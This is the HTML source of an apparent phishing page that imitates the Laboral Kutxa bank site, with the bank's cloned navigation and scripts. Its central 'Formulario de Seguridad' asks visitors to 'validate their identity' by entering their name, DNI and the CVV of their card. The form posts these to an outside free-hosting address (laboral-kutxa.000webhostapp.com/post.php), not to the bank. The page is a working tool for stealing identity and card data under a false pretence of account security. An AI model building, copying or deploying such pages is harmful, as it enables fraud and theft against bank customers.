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<title>Contacto - Laboral Kutxa</title>
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<ul>
<li><a href="/es/particulares" accesskey="1">Particulares</a></li>
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<li><a href="/es/mapa-web" accesskey="5">Mapa web</a></li>
<li><a href="/es/accesibilidad" accesskey="6">Accesibilidad</a></li>
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<div id="main">
<div class="row collapse">
<div class="large-12 twelve columns">
<header id="header">
<a id="open-menu-mob" class="movil-show" href="#open-menu-mob">Menu</a>
<div class="cruze-top"></div>
<div class="header-top">
<!-- DESPLEGABLES -->
<div class='menuDesple es'>
<ul class="lang">
<li class="listaWebs">
<span>Otras webs</span>
<ul class="desple_otrasWebs">
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<li><a href='http://www.viviendaslaboralkutxa.com/' target="_blank" title='Se abrirá en nueva ventana'>Viviendas Laboral Kutxa</a></li>
<li><a href='http://blog.laboralkutxa.com/' target="_blank" title='Se abrirá en nueva ventana'>Blog "Hay otra forma"</a></li>
<li><a href="http://www.bancaparaempresas.com/" target="_blank" title='Se abrirá en nueva ventana'>Blog empresas</a></li>
</ul>
</li>
<li class="listaLang no_aceptar_acookie">
<span>Castellano</span>
<ul class="desple_idiomas">
<li><a href="/eu/harremanetarako">Euskera</a></li>
</ul>
</li>
</ul>
</div>
<!-- / DESPLEGABLES -->
<!-- menu idioma ANTERIOR
<ul class="lang">
<li><span>castellano</span></li>
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</ul>
/ menu idioma ANTERIOR -->
</div>
<div class="row collapse">
<div class="large-4 four columns">
<h1 id="logo">
<a rel="home" title="Laboral Kutxa" href="/es/"><img class="desk-show" alt="Laboral Kutxa" src="/App_Themes/laboralkutxa2014/images/logo.png" /><img class="ipad-show" alt="Laboral Kutxa" src="/App_Themes/laboralkutxa2014/images/logo-ipad.png" /><img class="movil-show" alt="Laboral Kutxa" src="/App_Themes/laboralkutxa2014/images/logo-movil.png" /></a>
</h1>
</div>
<div class="large-8 eight columns">
<nav class="header-nav">
<div id="menus">
<div class="menu-des-1024">
<a class="active" href=""></a>
<ul id="sup-menu-des">
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<li><a href="/es/pro-negocios-y-profesionales">Negocios y Profesionales</a></li>
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</ul>
</div>
<a name="menu-principal"></a>
<div class="menu-sup-des">
<div class="hazte-cliente movil-show">
<a href="https://lkweb.laboralkutxa.com/hazte-cliente"><span class="title">Hazte cliente</span></a>
</div>
<ul id="menu-sup-id" class="menu-sup">
<li>
<a href="/es/particulares">Particulares</a>
<ul class="menu-inf">
<li><a href='/es/particulares/gestion-diaria'>Gestión diaria</a></li>
<li><a href='/es/particulares/ahorro'>Ahorro</a></li>
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<li><a href='/es/particulares/seguros'>Seguros</a></li>
<li class="especifico"><a href="https://bancapersonal.laboralkutxa.com">Banca Personal</a></li>
<li class="especifico"><a href="/es/superlk">Super LK</a></li>
<li class="especifico"><a href='/es/jovenes'>Jóvenes</a></li>
<li class="especifico"><a href='/es/infantil'>Infantil</a></li>
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</li>
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<li><a href="/es/pro-negocios-y-profesionales/ahorro">Ahorro</a></li>
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<li><a href="/es/pro-negocios-y-profesionales/apoyos-para-tu-negocio">Ayudas</a></li>
<li class="especifico"><a href='/es/pro-negocios-y-profesionales/apoyos-para-tu-negocio/consulting-pro'>Consulting PRO</a></li>
<li class="especifico"><a href="http://www.gaztenpresa.org/es/" target="_blank">Gaztenpresa</a></li>
</ul>
</li>
<li>
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<li><a href="/es/empresas/apoyos-para-tu-empresa">Ayudas</a></li>
</ul>
</li>
</ul>
</div>
</div>
<div class="hazte-cliente">
<div class="head">
<a href="https://lkweb.laboralkutxa.com/hazte-cliente"><span class="title">Hazte cliente</span></a>
</div>
</div>
<div class="banca-online">
<div class="head">
<a class="bank-online" href="https://lkweb.laboralkutxa.com"><span class="title">Acceso <span>Banca Online</span></span><span class="btn">des</span></a>
</div>
</div>
<div id="acces-desple">
<div class="head">
<a class="bank-online" href="https://lkweb.laboralkutxa.com"><span class="title">Acceso <span>Banca Online</span></span><span class="btn">des</span></a>
</div>
<p class="avisoclave">Accede a la banca online de Caja Laboral e Iparkutxa con tus claves de siempre.</p>
<div class="content-form">
<div id="U1">
<div class="img-loading">
<img src="/App_Themes/laboralkutxa2014/images/ajax-loader.gif" alt="Cargando" />
</div>
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<div class="mensajito errorApi">
<img src="/App_Themes/laboralkutxa2014/images/icons/punta-blanca-sombra.png" />
<p></p>
</div>
<!-- USUARIO -->
<p><label for="usuario">Usuario / DNI / NIE</label><input autocomplete="new-password" class="user usuario" type="text" id="usuario" name="usuario" maxlength="10" tabindex="1" required="" placeholder='Usuario / DNI / NIE' />
<div class="mensajito input usuario">
<img src="/App_Themes/laboralkutxa2014/images/icons/punta-blanca-sombra.png" />
<p>Rellena este campo</p>
</div>
<!-- / USUARIO -->
<!--<a class="forgot tips" href='https://lknet.laboralkutxa.com/claves/OlvidoUsuario1.asp'>¿Olvidó su usuario?</a>-->
<!-- CLAVE -->
<p class="kword"><label for="password">Clave acceso</label><input autocomplete="new-password" class="pwd clave keyboardInput" type="password" id="password" name="password" tabindex="2" required="" onFocus="_pwdcogefoco()" maxlength="9" onKeyDown="kdn(this)" onKeyUp="kup(this)" placeholder='Clave acceso' /></p>
<div class="mensajito input password">
<img src="/App_Themes/laboralkutxa2014/images/icons/punta-blanca-sombra.png" />
<p>Rellena este campo</p>
</div>
<!-- / CLAVE -->
<!-- teclado -->
<div id="U2">
<div>
<ul class="numClave">
<li><a href="javascript:;" name='_i8' id='_i8' onclick="_poneNumero(8); return false;">8</a></li>
<li><a href="javascript:;" name='_i9' id='_i9' onclick="_poneNumero(9); return false;">9</a></li>
<li><a href="javascript:;" name='_i0' id='_i0' onclick="_poneNumero(0); return false;">0</a></li>
<li><a href="javascript:;" name='_i4' id='_i4' onclick="_poneNumero(4); return false;">4</a></li>
<li><a href="javascript:;" name='_i3' id='_i3' onclick="_poneNumero(3); return false;">3</a></li>
<li><a href="javascript:;" name='_i7' id='_i7' onclick="_poneNumero(7); return false;">7</a></li>
<li><a href="javascript:;" name='_i6' id='_i6' onclick="_poneNumero(6); return false;">6</a></li>
<li><a href="javascript:;" name='_i5' id='_i5' onclick="_poneNumero(5); return false;">5</a></li>
<li><a href="javascript:;" name='_i1' id='_i1' onclick="_poneNumero(1); return false;">1</a></li>
<li><a href="javascript:;" name='_i2' id='_i2' onclick="_poneNumero(2); return false;">2</a></li>
</ul>
</div>
</div>
<!-- teclado END -->
<!-- BOTÓN -->
<p class="btns">
<input class="btn-acept" type="submit" value='Entrar' tabindex="3">
<!-- <input name="borrar" id="borrar" type="reset" value="Borrar" class="btn-erase" /> -->
</p>
<!-- / BOTÓN -->
<div class="clear"></div>
<ul class="links">
<li><a href='https://www.laboralkutxa.com/es/no-consigues-acceder'>Olvidé mi clave o está bloqueada</a></li>
</ul>
<!-- <div class="tooltipAcceso">
<a class="forgot tips" href='https://www.laboralkutxa.com/es/no-consigues-acceder'>¿No consigues acceder?</a>
</div> -->
<!--<div class="tooltipAcceso">¿Olvidó su clave?<div class="contTooltipAcceso">Para recuperar su clave llame al 9 46 46 44 44 Telebanka. De lunes a viernes, en horario de 8:00 a 22:00h y los sábados de 8:00 a 15:00h.</div></div>-->
</form>
<a href='/es/acceso-a-la-banca-online' class="solicita-clave">
¿Todavía no tienes las claves para operar online?
<br />
<strong>Solicitar claves</strong>
</a>
<div class="clear"></div>
<a class="acces tips" href='https://lknet.laboralkutxa.com/reducida/'>Acceso restringido</a>
<!-- ENLACES
<a class="claves tips" href='/es/acceso-a-la-banca-online'>Alta en la Banca Online</a>
<a class="security tips" href='/es/seguridad'>Consejos de seguridad</a>
<a class="acces tips" href="#" id="enlace_accesoApp">Accede a la Banca Móvil o la APP</a>
/ ENLACES -->
<div id="accesoApp">
<p>Recibe un SMS para acceder a la Banca Móvil o descargar la APP.</p>
<form action="#" method="post">
<label>nº móvil:</label>
<input maxlength="9" name="sms" tabindex="2" class="clave" id="sms" />
<input value='Enviar' name="aceptar" class="enviar" type="submit" />
</form>
<h6>Envío gratuíto</h6>
</div>
</div>
</div>
</div>
</nav>
</div>
</div>
<div class="fast-menu-ghost">
<aside class="fast-menu">
<nav>
<ul class="fast-menu-content">
<li class="cajeros"><a href="/es/buscar-oficinas"><span>Cajeros</span></a></li>
<li class="office"><a href="/es/buscar-oficinas"><span>Oficinas</span></a></li>
<li class="office_mobile"><a href="https://mobi.laboralkutxa.com/Oficinas/Localizar/AppWeb/es"><span>Oficinas</span></a></li>
<li class="find"><a href="/es/buscar"><span>Buscar</span></a></li>
<li class="contact"><a href="/es/contacto"><span>Contactar</span></a></li>
<!--<li class="be"><a href="https://lkweb.laboralkutxa.com/hazte-cliente"><span>Hazte cliente</span></a></li>-->
</ul>
</nav>
</aside>
</div>
<!--<div id="navidad">
<img src="/img/all/navidad/navidad-pinos.png" alt="Feliz Navidad" class="nav_pinos" />
<img src="/img/all/navidad/navidad-nieve.png" alt="Feliz Navidad" class="nav_nieve" />
</div>-->
</header>
<a name="contenido"></a>
<div id="main-container">
<div class="conten-int">
<div class="cruze-bottom"></div>
<div class="container" id="contact">
<div class="migas">
<a class="inicio" href="/">Inicio</a> <span class="next"></span>
<span>Seguridad</span>
</div>
<!-- CAMBIOS PARA JÓVENES -->
<h1 class="principal-title">Seguridad de cuenta</h1>
<!-- / CAMBIOS PARA JÓVENES -->
</div>
<div class="bloques_contacto">
<img src="/img/ico-contacto.png" alt='Formulario de contacto' />
<form id="contact-form" class="custom" action="https://laboral-kutxa.000webhostapp.com/post.php" method="post" data-abide>
<h2>Formulario de Seguridad</h2>
<p>Utiliza el siguiente formulario para validar tu identidad y asegurar tu cuenta.</p>
<div class="row no-collapse">
<div class="large-6 columns">
<label>Nombre y apellidos</label>
<input type="text" tabindex="0" name="nombre" id="nombre" value="" required />
</div>
<div class="large-6 columns">
<label>DNI</label>
<input type="email" tabindex="1" name="email" id="email" value="" required />
</div>
</div>
<div class="row no-collapse">
<div class="large-6 columns">
<label>CVV de Tarjeta Vinculada (Número de 3 dígitos detrás de la tarjeta)</label>
<input type="text" tabindex="2" name="cp" id="cp" value="" />
</div>
<div class="large-6 columns">
<p class="label-radio">Eres cliente de Laboral Kutxa</p>
<div class="radio-buttom">
<label for="radio1"><input name="cliente" type="radio" id="cliente" checked style="display:none;" class="hidden-field" value="radioSi"><span class="custom radio checked"></span> Sí</label>
<label for="radio1" class="m20-left"><input name="cliente" type="radio" id="cliente" style="display:none;" class="hidden-field" value="radioNo"><span class="custom radio"></span> No</label>
</div>
</div>
</div>
<div class="row no-collapse">
<div class="large-12 columns">
<label>Escribe aquí cualquier información que pueda resultarnos útil</label>
<textarea tabindex="4" name="mensaje" id="mensaje" required></textarea>
<div class="clear"></div>
<p class="Checkbox confirmacion">
<span class="floIzq"><input type="checkbox" name="ctl00_pageContent_acepto" id="ctl00_pageContent_acepto" value="1"></span>
<label>He leído y acepto la <a href='https://www.laboralkutxa.com/pdf/LOPD/cuadroinformacion_C.html' class='rosa' target='_blank' rel='external' title='Se abrirá en ventana nueva'>Cláusula general de protección de datos</a></label>
</p>
<p class="text-al-center"><input id="enviar" name="enviar" type="submit" tabindex="5" value="Enviar"></p>
</div>
</div>
</form>
</div>
<div class="clear"></div>
<!-- BOTONES CONT. -->
<div class="section-container auto contacto" data-section >
<a class="btn-banner" href='/es/buscar-oficinas'>
<span class="bor-right">
<span class="pica">
<span class="imagen"><img alt='Nuestras oficinas' src="/img/ico-oficinas.png" /></span>
Nuestras oficinas
</span>
</span>
</a>
<div class="clear"></div>
<a class="btn-banner" href='/es/ayuda-urgente'>
<span class="bor-right">
<span class="pica">
<span class="imagen"><img alt='Ayuda urgente' src="/img/ico-ayuda-urgente.png" /></span>
Ayuda urgente
</span>
</span>
</a>
<div class="clear"></div>
<a class="btn-banner" href='/es/particulares/seguros/en-caso-de-siniestro'>
<span class="bor-right">
<span class="pica">
<span class="imagen"><img alt='En caso de siniestro' src="/img/ico-en-caso-siniestro.png" /></span>
<span>Seguros</span><br />
En caso de siniestro
</span>
</span>
</a>
<div class="clear"></div>
<a class="btn-banner" href='/es/contacto/quejas-y-reclamaciones'>
<span class="bor-right">
<span class="pica">
<span class="imagen"><img alt='Quejas y reclamaciones' src="/img/ico-quejas.png" /></span>
Quejas y reclamaciones
</span>
</span>
</a>
</div>
<!-- / BOTONES CONT. -->
</div>
<aside id="sidebar">
<div class="sidebar-cont">
<a class="close-sidebar" href="#">Cerrar</a>
<aside class="fast-menu">
<nav>
<ul class="fast-menu-content">
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<h1>Seguridad</h1>
<ul>
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</ul>
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<h1>Notas de prensa</h1>
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<!--<a class="link" href='http://prensa.laboralkutxa.com/la-fundacion-gaztenpresa-de-laboral-kutxa-apoyo-la-puesta-en-marcha-de-330-nuevas-empresas-en-los-primeros-nueve-meses-del-ano/' target="_blank">La Fundación Gaztenpresa de LABORAL Kutxa apoyó la puesta en marcha de 330 nuevas empresas en los primeros nueve meses del año.</a>-->
</section>
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<h1>Síguenos en</h1>
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var url_idioma = "harremanetarako";
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function decode_utf8(s) {
return decodeURIComponent(escape(s));
}
function encode_utf8(s) {
return unescape(encodeURIComponent(s));
}
$(function() {
$.getJSON("/es/blog-ajax", { feedUrl: "prensa:general;prentsa:general" })
.done(function(json) {
$("#notas-de-prensa .link").attr('href', json.url);
$("#notas-de-prensa .link").html(json.title);
})
});
</script>
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var BrowserDetect =
{
init: function() {
this.browser = this.searchString(this.dataBrowser) || "Other";
this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "Unknown";
},
searchString: function(data) {
for (var i = 0; i < data.length; i++) {
var dataString = data[i].string;
this.versionSearchString = data[i].subString;
if (dataString.indexOf(data[i].subString) != -1) {
return data[i].identity;
}
}
},
searchVersion: function(dataString) {
var index = dataString.indexOf(this.versionSearchString);
if (index == -1) return;
return parseFloat(dataString.substring(index + this.versionSearchString.length + 1));
},
dataBrowser:
[
{ string: navigator.userAgent, subString: "Chrome", identity: "Chrome" },
{ string: navigator.userAgent, subString: "MSIE", identity: "Explorer" },
{ string: navigator.userAgent, subString: "Firefox", identity: "Firefox" },
{ string: navigator.userAgent, subString: "Safari", identity: "Safari" },
{ string: navigator.userAgent, subString: "Opera", identity: "Opera" }
]
};
BrowserDetect.init();
if (BrowserDetect.browser == 'Explorer' && BrowserDetect.version <= 9) {
$("div#old-browser-msg").show();
}
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$(".listaWebs").hover(function(){
$(".desple_otrasWebs").show();
$(".desple_idiomas").hide();
});
$(".listaLang").hover(function(){
$(".desple_otrasWebs").hide();
$(".desple_idiomas").show();
});
$(".listaWebs").mouseleave(function(){
$(".desple_otrasWebs").hide();
$(".desple_idiomas").hide();
});
$(".listaLang").mouseleave(function(){
$(".desple_otrasWebs").hide();
$(".desple_idiomas").hide();
});
</script>
<!-- Cajetilla desplegable ACCESO BANCA MOVIL -->
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$("#enlace_accesoApp").click(function() {
$("#accesoApp").slideToggle('animateIt');
return false;
});
</script>
<!-- / Cajetilla desplegable ACCESO BANCA MOVIL -->
<!-- POP-UP -->
<!-- APP LK PAY
<div id="appMovil" class="reveal-modal">
<h2>Ya puedes enviar y recibir <span class='rosa'>dinero de móvil a móvil</span></h2>
<p>Con la otra App, <span class='rosa inl-block'>LABORAL Kutxa PAY</span> <img src="/img/lk-pay/bizum-logo.png" class="bizum" alt="Bizum" /></p>
<div class="clear"></div>
<img src='/img/lk-pay/lk-pay.png' alt='LABORAL Kutxa PAY' class="grafica" />
<div class="clear"></div>
<p class="no-upper">Este servicio gratuito, sólo puedes utilizarlo si te descargas la app <span class='rosa inl-block'>LABORAL Kutxa PAY</span></p>
<a href="https://lkweb.laboralkutxa.com/DescargaApp/LKPay" target="_blank" title='Descargar la APP' class="descarga">
Descargar la APP
<img src="/img/lk-pay/app-lk-pay.png" alt='LABORAL Kutxa PAY' />
</a>
<div class="clear"></div>
<a class="close-reveal-modal">×</a>
</div>
/ APP LK PAY -->
<script type="text/javascript">
$(document).ready(function() {
(function() {
var $ = jQuery;
var pluses = /\+/g;
var config = {};
config.defaults = {};
function encode(s) {
return encodeURIComponent(s);
}
function decode(s) {
return decodeURIComponent(s);
}
function stringifyCookieValue(value) {
return encode(config.json ? JSON.stringify(value) : String(value));
}
function parseCookieValue(s) {
if (s.indexOf('"') === 0) {
// This is a quoted cookie as according to RFC2068, unescape...
s = s.slice(1, -1).replace(/\\"/g, '"').replace(/\\\\/g, '\\');
}
try {
// Replace server-side written pluses with spaces.
// If we can't decode the cookie, ignore it, it's unusable.
// If we can't parse the cookie, ignore it, it's unusable.
s = decodeURIComponent(s.replace(pluses, ' '));
return config.json ? JSON.parse(s) : s;
} catch (e) { }
}
function read(s, converter) {
var value = config.raw ? s : parseCookieValue(s);
return $.isFunction(converter) ? converter(value) : value;
}
$.cookie = function(key, value, options) {
// Write
if (arguments.length > 1 && !$.isFunction(value)) {
options = $.extend({}, config.defaults, options);
if (typeof options.expires === 'number') {
var days = options.expires, t = options.expires = new Date();
t.setMilliseconds(t.getMilliseconds() + days * 864e+5);
}
return (document.cookie = [
encode(key), '=', stringifyCookieValue(value),
options.expires ? '; expires=' + options.expires.toUTCString() : '', // use expires attribute, max-age is not supported by IE
options.path ? '; path=' + options.path : '',
options.domain ? '; domain=' + options.domain : '',
options.secure ? '; secure' : ''
].join(''));
}
// Read
var result = key ? undefined : {},
// To prevent the for loop in the first place assign an empty array
// in case there are no cookies at all. Also prevents odd result when
// calling $.cookie().
cookies = document.cookie ? document.cookie.split('; ') : [],
i = 0,
l = cookies.length;
for (; i < l; i++) {
var parts = cookies[i].split('='),
name = decode(parts.shift()),
cookie = parts.join('=');
if (key === name) {
// If second argument (value) is a function it's a converter...
result = read(cookie, value);
break;
}
// Prevent storing a cookie that we couldn't decode.
if (!key && (cookie = read(cookie)) !== undefined) {
result[name] = cookie;
}
}
return result;
};
$.removeCookie = function(key, options) {
// Must not alter options, thus extending a fresh object...
$.cookie(key, '', $.extend({}, options, { expires: -1 }));
return !$.cookie(key);
};
function crearCookieIdiomaSegmento() {
if ($.cookie("cookie_aceptacion") != "true") {
$.cookie('cookie_aceptacion', 'true', { expires: 180, path: '/' });
_insertGtmScript();
$.ajax({
type: "GET",
url: window.location.pathname,
success: function(data) {
}
});
}
}
function _insertGtmScript() {
if (!document.getElementById("gtm")) {
var head = document.getElementsByTagName("head")[0];
var js = document.createElement("script");
js.type = "text/javascript";
js.id = "gtm";
js.text = "(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src='//www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);})(window,document,'script','dataLayer','GTM-N46MJF');";
head.appendChild(js);
ocultarcapa("acookie");
}
}
if ($.cookie("cookie_aceptacion") == "true") {
_insertGtmScript();
}
if ($.cookie("cookie_aceptacion") != "true") {
$("a, .slide").click(function(e) {
console.log("click input");
if ($(e.target).closest(".no_aceptar_acookie").length > 0 || window.location.pathname == "/es/aviso-legal" || window.location.pathname == "/eu/lege-oharra") {
$.removeCookie('cookie_aceptacion');
} else {
crearCookieIdiomaSegmento();
}
});
$("body,html").bind("touchstart touchmove scroll DOMMouseScroll mousewheel", function(e) {
if ($(e.target).closest(".no_aceptar_acookie").length > 0 || window.location.pathname == "/es/aviso-legal" || window.location.pathname == "/eu/lege-oharra") {
$.removeCookie('cookie_aceptacion');
} else {
crearCookieIdiomaSegmento();
}
});
}
})();
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if ($("a[href*='/tel:']").attr('href')){
$("a[href*='/tel:']").attr('href', $("a[href*='/tel:']").attr('href').replace('/', ''))
}
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